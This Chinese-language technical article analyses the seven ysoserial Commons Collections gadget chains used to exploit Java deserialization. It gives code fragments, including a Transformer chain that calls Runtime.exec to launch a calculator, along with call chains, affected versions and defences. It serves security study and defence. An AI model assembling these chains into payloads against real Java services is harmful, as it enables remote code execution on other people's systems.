玩转Ysoserial-CommonsCollection的七种利用方式分析
字数 2164 2025-08-18 11:38:56
Java反序列化漏洞利用:Commons Collections模块深度分析
引言
Apache Commons Collections库在Java反序列化漏洞利用中扮演了重要角色,本文基于ysoserial工具中的7种Commons Collections利用方式,详细分析其技术原理和实现细节。
关键技术基础
1. 动态代理技术
动态代理允许在不修改类源码的情况下扩展功能,关键实现方式:
// 定义接口
public interface Work {
public String work();
}
// 实现类
public class Teacher implements Work {
@Override
public String work() {
System.out.println("my work is teach students");
return "Teacher";
}
}
// 调用处理器
public class WorkHandler implements InvocationHandler {
private Object obj;
public WorkHandler(Object obj) {
this.obj = obj;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("before invoke...");
Object invoke = method.invoke(obj, args);
System.out.println("after invoke...");
return invoke;
}
}
// 创建代理
Work proxy = (Work)Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
people.getClass().getInterfaces(),
handler
);
2. Javassist动态编程
用于直接操作字节码或动态生成Java代码:
// 获取默认类池
ClassPool pool = ClassPool.getDefault();
// 操作已有类
CtClass cc = pool.get("test.Teacher");
cc.setSuperclass(pool.get("test.People"));
byte[] b = cc.toBytecode();
// 创建新类
CtClass newClass = pool.makeClass("Point");
newClass.addField(f); // 添加字段
newClass.addMethod(m); // 添加方法
newClass.setName("Pair");
Commons Collections漏洞核心原理
基本利用模块:
String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
// 初始链
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// 实际恶意链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, execArgs),
new ConstantTransformer(1)
};
// 通过反射设置最终transformers
setFieldValue(transformerChain, "iTransformers", transformers);
七种利用方式详解
1. CommonsCollections1
适用版本: 3.1-3.2.1, JDK1.8以前
关键代码:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
调用链:
AnnotationInvocationHandler.readObject()- 调用
memberValues.entrySet() - 代理对象调用
handler.invoke() LazyMap.get()ChainedTransformer.transform()
修复: 3.2.2版本将InvokerTransformer加入黑名单
2. CommonsCollections2
适用版本: commons-collections-4.0, JDK7u21及以前
关键代码:
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");
调用链:
PriorityQueue.readObject()heapify() -> siftDown() -> siftDownUsingComparator()TransformingComparator.compare()InvokerTransformer.transform()
3. CommonsCollections3
适用版本: 3.1-3.2.1, JDK7u21及以前
关键特点: 使用InstantiateTransformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl }
)
};
调用链:
- 类似CommonsCollections1
InstantiateTransformer.transform()实例化TrAXFilterTrAXFilter构造函数调用templatesImpl.newTransformer()
修复: 3.2.2版本将InstantiateTransformer加入黑名单
4. CommonsCollections4
适用版本: 4.0, JDK7u21及以前
特点: CommonsCollections2和3的混合
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
new TransformingComparator(chain));
// ...
setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
str[0] = templates;
5. CommonsCollections5
适用版本: 3.1-3.2.1, JDK1.8
特点: 使用BadAttributeValueExpException替代AnnotationInvocationHandler
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// 通过反射设置val字段
valfield.set(val, entry);
调用链:
BadAttributeValueExpException.readObject()- 调用
val.toString() TiedMapEntry.getValue()LazyMap.get()
6. CommonsCollections6
适用版本: 3.1-3.2.1, JDK1.7/1.8
特点: 使用HashSet和TiedMapEntry
HashSet map = new HashSet(1);
map.add("foo");
// 通过反射修改HashSet内部map的key为恶意TiedMapEntry
keyField.set(node, entry);
调用链:
HashSet.readObject()HashMap.put() -> hash()TiedMapEntry.hashCode() -> getValue()LazyMap.get()
7. CommonsCollections7
适用版本: 3.1-3.2.1, JDK1.7/1.8
特点: 使用Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy"); // 修复污染
调用链:
Hashtable.readObject()- 比较key时调用
equals() -> get() LazyMap.get()
关键类总结
四大Transformer
ChainedTransformer: 循环调用iTransformers数组InvokerTransformer: 反射调用方法ConstantTransformer: 返回iConstant值InstantiateTransformer: 反射实例化对象
三大Map
LazyMap:get()触发factory.transform()TiedMapEntry:getValue()调用map.get()HashMap:put()调用hashCode()
五大反序列化入口类
AnnotationInvocationHandlerPriorityQueueBadAttributeValueExpExceptionHashSetHashtable
防御措施
- 升级Commons Collections到安全版本
- 配置JVM安全属性
org.apache.commons.collections.enableUnsafeSerialization=false - 使用反序列化过滤器
通过深入理解这些利用方式,安全人员可以更好地防御Java反序列化漏洞,开发人员也能编写更安全的代码。